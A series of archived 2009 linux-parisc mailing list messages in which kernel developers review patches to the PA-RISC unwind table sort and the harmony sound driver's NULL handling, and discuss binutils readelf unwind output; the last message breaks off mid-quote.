Cc: linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 30 04:41:44 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N3iMy-0003kA-Ej
	for glpp-linux-parisc@lo.gmane.org; Fri, 30 Oct 2009 04:41:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754110AbZJ3Dli (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 29 Oct 2009 23:41:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754140AbZJ3Dli
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 29 Oct 2009 23:41:38 -0400
Original-Received: from mail-gx0-f216.google.com ([209.85.217.216]:50360 "EHLO
	mail-gx0-f216.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754110AbZJ3Dli (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 29 Oct 2009 23:41:38 -0400
Original-Received: by gxk8 with SMTP id 8so403988gxk.1
        for <linux-parisc@vger.kernel.org>; Thu, 29 Oct 2009 20:41:42 -0700 (PDT)
Original-Received: by 10.91.50.2 with SMTP id c2mr2959696agk.5.1256874102617;
        Thu, 29 Oct 2009 20:41:42 -0700 (PDT)
Original-Received: from ?192.168.100.52? (stlglobal.com [118.142.45.178])
        by mx.google.com with ESMTPS id 9sm1188639yxf.41.2009.10.29.20.41.39
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Thu, 29 Oct 2009 20:41:41 -0700 (PDT)
User-Agent: Thunderbird 2.0.0.23 (Windows/20090812)
In-Reply-To: <20091029215901.GA30311@p100.box>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2279
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2279>

Helge Deller wrote:
> Signed-off-by: Helge Deller <deller@gmx.de>

Excellent. sort() was not there when this was coded up, but always good 
to stop replicating code :)

Signed-off-by: Randolph Chung <tausq@parisc-linux.org>

randolph

> 
> 
> diff --git a/arch/parisc/kernel/unwind.c b/arch/parisc/kernel/unwind.c
> index 69dad5a..e5a4390 100644
> --- a/arch/parisc/kernel/unwind.c
> +++ b/arch/parisc/kernel/unwind.c
> @@ -13,6 +13,7 @@
>  #include <linux/sched.h>
>  #include <linux/slab.h>
>  #include <linux/kallsyms.h>
> +#include <linux/sort.h>
>  
>  #include <asm/uaccess.h>
>  #include <asm/assembly.h>
> @@ -115,24 +116,21 @@ unwind_table_init(struct unwind_table *table, const char *name,
>  	}
>  }
>  
> +static int cmp_unwind_table_entry(const void *a, const void *b)
> +{
> +	return ((const struct unwind_table_entry *)a)->region_start
> +	     - ((const struct unwind_table_entry *)b)->region_start;
> +}
> +
>  static void
>  unwind_table_sort(struct unwind_table_entry *start,
>  		  struct unwind_table_entry *finish)
>  {
> -	struct unwind_table_entry el, *p, *q;
> -
> -	for (p = start + 1; p < finish; ++p) {
> -		if (p[0].region_start < p[-1].region_start) {
> -			el = *p;
> -			q = p;
> -			do {
> -				q[0] = q[-1];
> -				--q;
> -			} while (q > start && 
> -				 el.region_start < q[-1].region_start);
> -			*q = el;
> -		}
> -	}
> +	int len;
> +
> +	len  = (finish - start) / sizeof(struct unwind_table_entry);
> +	sort(start, len, sizeof(struct unwind_table_entry),
> +	     cmp_unwind_table_entry, NULL);
>  }
>  
>  struct unwind_table *

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Takashi Iwai <tiwai@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.alsa.devel,gmane.linux.kernel,gmane.linux.kernel.janitors
Subject: Re: [PATCH 3/14] sound/parisc: Move dereference after NULL test
Date: Fri, 30 Oct 2009 12:02:22 +0100
Lines: 75
Approved: news@gmane.org
Message-ID: <s5hhbthywjl.wl%tiwai@suse.de>
References: <Pine.LNX.4.64.0910170833240.9213@ask.diku.dk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka")
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1256900555 29665 80.91.229.12 (30 Oct 2009 11:02:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 30 Oct 2009 11:02:35 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, Jaroslav Kysela <perex@perex.cz>,
	linux-parisc@vger.kernel.org, alsa-devel@alsa-project.org,
	linux-kernel@vger.kernel.org, kernel-janitors@vger.kernel.org
To: Julia Lawall <julia@diku.dk>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 30 12:02:26 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N3pFR-0005zx-E1
	for glpp-linux-parisc@lo.gmane.org; Fri, 30 Oct 2009 12:02:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757176AbZJ3LCT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 30 Oct 2009 07:02:19 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757175AbZJ3LCS
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 30 Oct 2009 07:02:18 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:58038 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757174AbZJ3LCR (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 30 Oct 2009 07:02:17 -0400
Original-Received: from relay1.suse.de (mail2.suse.de [195.135.221.8])
	by mx2.suse.de (Postfix) with ESMTP id 44AF38726A;
	Fri, 30 Oct 2009 12:02:22 +0100 (CET)
In-Reply-To: <Pine.LNX.4.64.0910170833240.9213@ask.diku.dk>
User-Agent: Wanderlust/2.15.6 (Almost Unreal) SEMI/1.14.6 (Maruoka)
 FLIM/1.14.9 (=?UTF-8?B?R29qxY0=?=) APEL/10.7 Emacs/23.1
 (x86_64-suse-linux-gnu) MULE/6.0 (HANACHIRUSATO)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2280 gmane.linux.alsa.devel:67936 gmane.linux.kernel:907818 gmane.linux.kernel.janitors:17391
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2280>

At Sat, 17 Oct 2009 08:33:47 +0200 (CEST),
Julia Lawall wrote:
> 
> From: Julia Lawall <julia@diku.dk>
> 
> If the NULL test on h is needed in snd_harmony_mixer_init, then the
> dereference should be after the NULL test.
> 
> Actually, there is a sequence of calls: snd_harmony_create, then
> snd_harmony_pcm_init, and then snd_harmony_mixer_init.  snd_harmony_create
> initializes h, but may indeed leave it as NULL.  There was no NULL test at
> the beginning of snd_harmony_pcm_init, so I have added one.  The NULL test
> in snd_harmony_mixer_init is then not necessary, but in case the ordering
> of the calls changes, I have left it, and moved the dereference after it.
> 
> A simplified version of the semantic match that detects this problem is as
> follows (http://coccinelle.lip6.fr/):
> 
> // <smpl>
> @match exists@
> expression x, E;
> identifier fld;
> @@
> 
> * x->fld
>   ... when != \(x = E\|&x\)
> * x == NULL
> // </smpl>
> 
> Signed-off-by: Julia Lawall <julia@diku.dk>

Applied this one, too.  Thanks.


Takashi


> ---
>  sound/parisc/harmony.c              |    6 +++++-
>  1 files changed, 5 insertions(+), 1 deletions(-)
> 
> diff --git a/sound/parisc/harmony.c b/sound/parisc/harmony.c
> index e924492..f47f9e2 100644
> --- a/sound/parisc/harmony.c
> +++ b/sound/parisc/harmony.c
> @@ -624,6 +624,9 @@ snd_harmony_pcm_init(struct snd_harmony *h)
>  	struct snd_pcm *pcm;
>  	int err;
>  
> +	if (snd_BUG_ON(!h))
> +		return -EINVAL;
> +
>  	harmony_disable_interrupts(h);
>  	
>     	err = snd_pcm_new(h->card, "harmony", 0, 1, 1, &pcm);
> @@ -865,11 +868,12 @@ snd_harmony_mixer_reset(struct snd_harmony *h)
>  static int __devinit
>  snd_harmony_mixer_init(struct snd_harmony *h)
>  {
> -	struct snd_card *card = h->card;
> +	struct snd_card *card;
>  	int idx, err;
>  
>  	if (snd_BUG_ON(!h))
>  		return -EINVAL;
> +	card = h->card;
>  	strcpy(card->mixername, "Harmony Gain control interface");
>  
>  	for (idx = 0; idx < HARMONY_CONTROLS; idx++) {
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.alsa.devel,gmane.linux.kernel,gmane.linux.kernel.janitors
Subject: Re: [PATCH 3/14] sound/parisc: Move dereference after NULL test
Date: Fri, 30 Oct 2009 09:46:39 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20091030134639.GZ11702@bombadil.infradead.org>
References: <Pine.LNX.4.64.0910170833240.9213@ask.diku.dk> <s5hhbthywjl.wl%tiwai@suse.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1256910445 30617 80.91.229.12 (30 Oct 2009 13:47:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 30 Oct 2009 13:47:25 +0000 (UTC)
Cc: Julia Lawall <julia@diku.dk>, Kyle McMartin <kyle@mcmartin.ca>,
	Jaroslav Kysela <perex@perex.cz>, linux-parisc@vger.kernel.org,
	alsa-devel@alsa-project.org, linux-kernel@vger.kernel.org,
	kernel-janitors@vger.kernel.org
To: Takashi Iwai <tiwai@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 30 14:47:17 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N3rot-0003b4-Sl
	for glpp-linux-parisc@lo.gmane.org; Fri, 30 Oct 2009 14:47:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757244AbZJ3NrF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 30 Oct 2009 09:47:05 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757241AbZJ3NrF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 30 Oct 2009 09:47:05 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:49989 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757230AbZJ3NrE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 30 Oct 2009 09:47:04 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1N3roN-0005kD-Ht; Fri, 30 Oct 2009 13:46:39 +0000
Content-Disposition: inline
In-Reply-To: <s5hhbthywjl.wl%tiwai@suse.de>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2281 gmane.linux.alsa.devel:67954 gmane.linux.kernel:907835 gmane.linux.kernel.janitors:17392
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2281>

On Fri, Oct 30, 2009 at 12:02:22PM +0100, Takashi Iwai wrote:
> At Sat, 17 Oct 2009 08:33:47 +0200 (CEST),
> Julia Lawall wrote:
> > 
> > From: Julia Lawall <julia@diku.dk>
> > 
> > Signed-off-by: Julia Lawall <julia@diku.dk>
> 
> Applied this one, too.  Thanks.
> 
> 

Great, thanks Takashi!

cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Fri, 30 Oct 2009 23:47:07 +0100
Lines: 158
Approved: news@gmane.org
Message-ID: <4AEB6CEB.6010205@gmx.de>
References: <20091029233501.152D1500F@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1256942844 11367 80.91.229.12 (30 Oct 2009 22:47:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 30 Oct 2009 22:47:24 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	carlos@systemhalted.org, randolph@tausq.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 30 23:47:16 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N40FW-0005xT-QZ
	for glpp-linux-parisc@lo.gmane.org; Fri, 30 Oct 2009 23:47:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932946AbZJ3WrI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 30 Oct 2009 18:47:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S932962AbZJ3WrI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 30 Oct 2009 18:47:08 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:42073 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S932946AbZJ3WrH (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 30 Oct 2009 18:47:07 -0400
Original-Received: (qmail invoked by alias); 30 Oct 2009 22:47:10 -0000
Original-Received: from p4FDB27C4.dip0.t-ipconnect.de (EHLO halden.box) [79.219.39.196]
  by mail.gmx.net (mp063) with SMTP; 30 Oct 2009 23:47:10 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+sOyJ4JfSss+5M8TEJ+tbmfeULXHFL30D0ecO//g
	Rd1OXTd4mgTQqY
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.4pre) Gecko/20091014 Fedora/3.0-2.8.b4.fc11 Thunderbird/3.0b4
In-Reply-To: <20091029233501.152D1500F@hiauly1.hia.nrc.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.52
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2282
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2282>

On 10/30/2009 12:35 AM, John David Anglin wrote:
>>
>> On 10/29/2009 10:07 PM, John David Anglin wrote:
>>>>> Still need to look at readelf -u on .o's.
>>>>
>>>> Yes, I see this too. readelf -u doesn't print any longer the second line of:
>>>> <arch_mod_section_prepend>: [0x1011fc4c-0x1011fc74]
>>>>              Entry_GR=1 Save_SP Total_frame_size=8
>>>
>>> Actually, the entries are still there.  For weak functions that
>>> are not used, they appear as "<foo+x>:" where foo is the closest
>>> preceding symbol before the unused weak function.  In practice,
>>> the code shouldn't be entered, so the lack of an associated function
>>> symbol shouldn't matter.
>>>
>>> I have a fix for the readelf -u bug.  See below.
>>
>> Sorry, but I don't fully understand...
>>
>> With your patch to gas, the unwind info for the weak functions are completely gone in the final executable (which is good).
>
> I don't think I changed this.  In the testcase that you sent, I see
>
> <a>: [0x104a0-0x104b8]
>          Entry_GR=1 Save_SP Total_frame_size=8
> <a+1c>: [0x104bc-0x104d8]
> 	Entry_GR=1 Save_SP Total_frame_size=8
> <z>: [0x104dc-0x104f4]
> 	Entry_GR=1 Save_SP Total_frame_size=8
> <main>: [0x104f8-0x10544]
> 	Entry_GR=1 Save_SP Total_frame_size=8
> <f>: [0x10548-0x10564]
> 	Entry_GR=2 Save_SP Save_RP Total_frame_size=8
>
> The weak version of f is the<a+1c>  entry.
>
>> But "readelf -u" doesn't show the "Entry_GR=..." lines for _any_ function any longer (in the final executable).
>> I really mean _all_ functions, weak, non-weak, standard, ...
>
> That's not what I'm seeing.  The old and new versions seem similar
> (i.e., with respect to missing "Entry_GR=...").  Didn't touch the
> code that extracts and prints this stuff.
>
> The lack of "Entry_GR=..." stuff for an entry probably indicates
> that there isn't a .CALLINFO directive for the function in question.
> This could happen if the function is handcoded assembler.  However,
> it is legitimate for a function not to have any of the unwind stuff
> set (e.g., function doesn't save any registers or allocate a frame).
> I think GCC gets this right but it never has been looked at with a
> magnifying glass.
>
>> The patch you attached only changes the start and end addresses of the symbols...?
>
> Yes, and only for .o's.  In final executables, there are no relocations
> in the .PARISC.unwind section.  So, the values printed should be unaffected.
>
> In the .o case, the code was in effect doing the SEGREL relocation twice
> leading to offsets twice as big as they should have been.  It still runs
> through the relocations if present, but uses the value from doing the
> relocation if one is present.  Compare what you see now with objdump -d
> and readelf -u on a .o.

Hi Dave,

you are probably correct. Nevertheless, your patches seem to have side-effects.
With your patches, the testcase from me now looks correct (as you explained above).

But when compiling the kernel something is still wrong.
I tried it a few times now, recompiled binutils, the kernel and so on.
I'm not 100% sure that I did everything correct, but I still think there is
something wrong...

This is what I get with your patches:
/opt/cross-hppa-4.4.neu/bin/hppa-linux-readelf -u vmlinux
...
--------------------------------------------------------------
<arch_mod_section_prepend>: [0x1011fc00-0x1011fc28]

<module_arch_cleanup>: [0x1011fc2c-0x1011fc6c]

<apply_relocate>: [0x1011fc70-0x1011fca4]
         Entry_GR=2 Save_SP Save_RP Total_frame_size=8
<module_finalize>: [0x1011fca8-0x1011fe8c]
         Entry_GR=1 Save_SP Save_RP Total_frame_size=24
<get_stub>: [0x1011fe90-0x1011ffb4]

<apply_relocate_add>: [0x1011ffb8-0x101205b8]

<module_frob_arch_sections>: [0x101205bc-0x10120758]

<module_free>: [0x1012075c-0x101207a4]

<module_alloc>: [0x101207a8-0x101207e4]

<dump_trace>: [0x101207e8-0x10120904]

<save_stack_trace_tsk>: [0x10120908-0x10120958]

<save_stack_trace>: [0x1012095c-0x101209b8]

<sgl_frnd>: [0x101209bc-0x10120b8c]
         Entry_GR=1 Save_SP Total_frame_size=8
<dbl_frnd>: [0x10120b90-0x10120e74]
         Entry_GR=1 Save_SP Total_frame_size=8
--------------------------------------------------------------

As you can see, a few Entry_GR lines are missing.
Even for C-functions for which Entry_GR was there with the old toolchain.
I sadly can not see any reason or logic in why specific functions don't
have their Entry_GR lines any longer.

Here for reference what I see with the old (unpatched) toolchain:
(as you can see arch_mod_section_prepend() is there twice again -> because
of the old unpatched toolchain)

--------------------------------------------------------------
/opt/cross-hppa-4.4/bin/hppa-linux-readelf -u vmlinux
...
<arch_mod_section_prepend>: [0x1011fc00-0x1011fc28]
         Entry_GR=1 Save_SP Total_frame_size=8
<arch_mod_section_prepend>: [0x1011fc00-0x10167dec]
         Entry_GR=1 Save_SP Total_frame_size=8
<module_arch_cleanup>: [0x1011fc2c-0x1011fc6c]
         Entry_GR=2 Save_SP Save_RP Total_frame_size=8
<apply_relocate>: [0x1011fc70-0x1011fca4]
         Entry_GR=1 Save_SP Save_RP Total_frame_size=8
<module_finalize>: [0x1011fca8-0x1011fe8c]
         Entry_GR=11 Save_SP Save_RP Total_frame_size=16
<get_stub>: [0x1011fe90-0x1011ffb4]
         Entry_GR=1 Save_SP Total_frame_size=8
<apply_relocate_add>: [0x1011ffb8-0x101205b8]
         Entry_GR=16 Save_SP Save_RP Total_frame_size=24
<module_frob_arch_sections>: [0x101205bc-0x10120758]
         Entry_GR=10 Save_SP Save_RP Total_frame_size=16
<module_free>: [0x1012075c-0x101207a4]
         Entry_GR=3 Save_SP Save_RP Total_frame_size=8
<module_alloc>: [0x101207a8-0x101207e4]
         Entry_GR=1 Save_SP Save_RP Total_frame_size=8
<dump_trace>: [0x101207e8-0x10120904]
         Entry_GR=7 Save_SP Save_RP Total_frame_size=80
<save_stack_trace_tsk>: [0x10120908-0x10120958]
         Entry_GR=2 Save_SP Save_RP Total_frame_size=8
<save_stack_trace_tsk>: [0x10120908-0x1015c7ac]
         Entry_GR=2 Save_SP Save_RP Total_frame_size=8
<save_stack_trace>: [0x1012095c-0x101209b8]
         Entry_GR=2 Save_SP Save_RP Total_frame_size=8
<sgl_frnd>: [0x101209bc-0x10120b8c]
         Entry_GR=1 Save_SP Total_frame_size=8
<dbl_frnd>: [0x10120b90-0x10120e74]
         Entry_GR=1 Save_SP Total_frame_size=8
--------------------------------------------------------------

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Fri, 30 Oct 2009 20:41:31 -0400 (EDT)
Lines: 176
Approved: news@gmane.org
Message-ID: <20091031004132.CA8C34FE3@hiauly1.hia.nrc.ca>
References: <4AEB6CEB.6010205@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1256949705 27218 80.91.229.12 (31 Oct 2009 00:41:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 31 Oct 2009 00:41:45 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org,
	carlos@systemhalted.org, randolph@tausq.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 31 01:41:37 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N422D-0008Nx-58
	for glpp-linux-parisc@lo.gmane.org; Sat, 31 Oct 2009 01:41:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757560AbZJaAla (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 30 Oct 2009 20:41:30 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757561AbZJaAla
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 30 Oct 2009 20:41:30 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4358 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757560AbZJaAl3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 30 Oct 2009 20:41:29 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id CA8C34FE3; Fri, 30 Oct 2009 20:41:32 -0400 (EDT)
In-Reply-To: <4AEB6CEB.6010205@gmx.de> from "Helge Deller" at Oct 30, 2009 11:47:07 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2283
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2283>

> On 10/30/2009 12:35 AM, John David Anglin wrote:
> >>
> >> On 10/29/2009 10:07 PM, John David Anglin wrote:
> >>>>> Still need to look at readelf -u on .o's.
> >>>>
> >>>> Yes, I see this too. readelf -u doesn't print any longer the second line of:
> >>>> <arch_mod_section_prepend>: [0x1011fc4c-0x1011fc74]
> >>>>              Entry_GR=1 Save_SP Total_frame_size=8
> >>>
> >>> Actually, the entries are still there.  For weak functions that
> >>> are not used, they appear as "<foo+x>:" where foo is the closest
> >>> preceding symbol before the unused weak function.  In practice,
> >>> the code shouldn't be entered, so the lack of an associated function
> >>> symbol shouldn't matter.
> >>>
> >>> I have a fix for the readelf -u bug.  See below.
> >>
> >> Sorry, but I don't fully understand...
> >>
> >> With your patch to gas, the unwind info for the weak functions are completely gone in the final executable (which is good).
> >
> > I don't think I changed this.  In the testcase that you sent, I see
> >
> > <a>: [0x104a0-0x104b8]
> >          Entry_GR=1 Save_SP Total_frame_size=8
> > <a+1c>: [0x104bc-0x104d8]
> > 	Entry_GR=1 Save_SP Total_frame_size=8
> > <z>: [0x104dc-0x104f4]
> > 	Entry_GR=1 Save_SP Total_frame_size=8
> > <main>: [0x104f8-0x10544]
> > 	Entry_GR=1 Save_SP Total_frame_size=8
> > <f>: [0x10548-0x10564]
> > 	Entry_GR=2 Save_SP Save_RP Total_frame_size=8
> >
> > The weak version of f is the<a+1c>  entry.
> >
> >> But "readelf -u" doesn't show the "Entry_GR=..." lines for _any_ function any longer (in the final executable).
> >> I really mean _all_ functions, weak, non-weak, standard, ...
> >
> > That's not what I'm seeing.  The old and new versions seem similar
> > (i.e., with respect to missing "Entry_GR=...").  Didn't touch the
> > code that extracts and prints this stuff.
> >
> > The lack of "Entry_GR=..." stuff for an entry probably indicates
> > that there isn't a .CALLINFO directive for the function in question.
> > This could happen if the function is handcoded assembler.  However,
> > it is legitimate for a function not to have any of the unwind stuff
> > set (e.g., function doesn't save any registers or allocate a frame).
> > I think GCC gets this right but it never has been looked at with a
> > magnifying glass.
> >
> >> The patch you attached only changes the start and end addresses of the symbols...?
> >
> > Yes, and only for .o's.  In final executables, there are no relocations
> > in the .PARISC.unwind section.  So, the values printed should be unaffected.
> >
> > In the .o case, the code was in effect doing the SEGREL relocation twice
> > leading to offsets twice as big as they should have been.  It still runs
> > through the relocations if present, but uses the value from doing the
> > relocation if one is present.  Compare what you see now with objdump -d
> > and readelf -u on a .o.
> 
> Hi Dave,
> 
> you are probably correct. Nevertheless, your patches seem to have side-effects.
> With your patches, the testcase from me now looks correct (as you explained above).
> 
> But when compiling the kernel something is still wrong.
> I tried it a few times now, recompiled binutils, the kernel and so on.
> I'm not 100% sure that I did everything correct, but I still think there is
> something wrong...
> 
> This is what I get with your patches:
> /opt/cross-hppa-4.4.neu/bin/hppa-linux-readelf -u vmlinux
> ...
> --------------------------------------------------------------
> <arch_mod_section_prepend>: [0x1011fc00-0x1011fc28]
> 
> <module_arch_cleanup>: [0x1011fc2c-0x1011fc6c]
> 
> <apply_relocate>: [0x1011fc70-0x1011fca4]
>          Entry_GR=2 Save_SP Save_RP Total_frame_size=8
> <module_finalize>: [0x1011fca8-0x1011fe8c]
>          Entry_GR=1 Save_SP Save_RP Total_frame_size=24
> <get_stub>: [0x1011fe90-0x1011ffb4]
> 
> <apply_relocate_add>: [0x1011ffb8-0x101205b8]
> 
> <module_frob_arch_sections>: [0x101205bc-0x10120758]
> 
> <module_free>: [0x1012075c-0x101207a4]
> 
> <module_alloc>: [0x101207a8-0x101207e4]
> 
> <dump_trace>: [0x101207e8-0x10120904]
> 
> <save_stack_trace_tsk>: [0x10120908-0x10120958]
> 
> <save_stack_trace>: [0x1012095c-0x101209b8]
> 
> <sgl_frnd>: [0x101209bc-0x10120b8c]
>          Entry_GR=1 Save_SP Total_frame_size=8
> <dbl_frnd>: [0x10120b90-0x10120e74]
>          Entry_GR=1 Save_SP Total_frame_size=8
> --------------------------------------------------------------
> 
> As you can see, a few Entry_GR lines are missing.
> Even for C-functions for which Entry_GR was there with the old toolchain.
> I sadly can not see any reason or logic in why specific functions don't
> have their Entry_GR lines any longer.
> 
> Here for reference what I see with the old (unpatched) toolchain:
> (as you can see arch_mod_section_prepend() is there twice again -> because
> of the old unpatched toolchain)
> 
> --------------------------------------------------------------
> /opt/cross-hppa-4.4/bin/hppa-linux-readelf -u vmlinux
> ...
> <arch_mod_section_prepend>: [0x1011fc00-0x1011fc28]
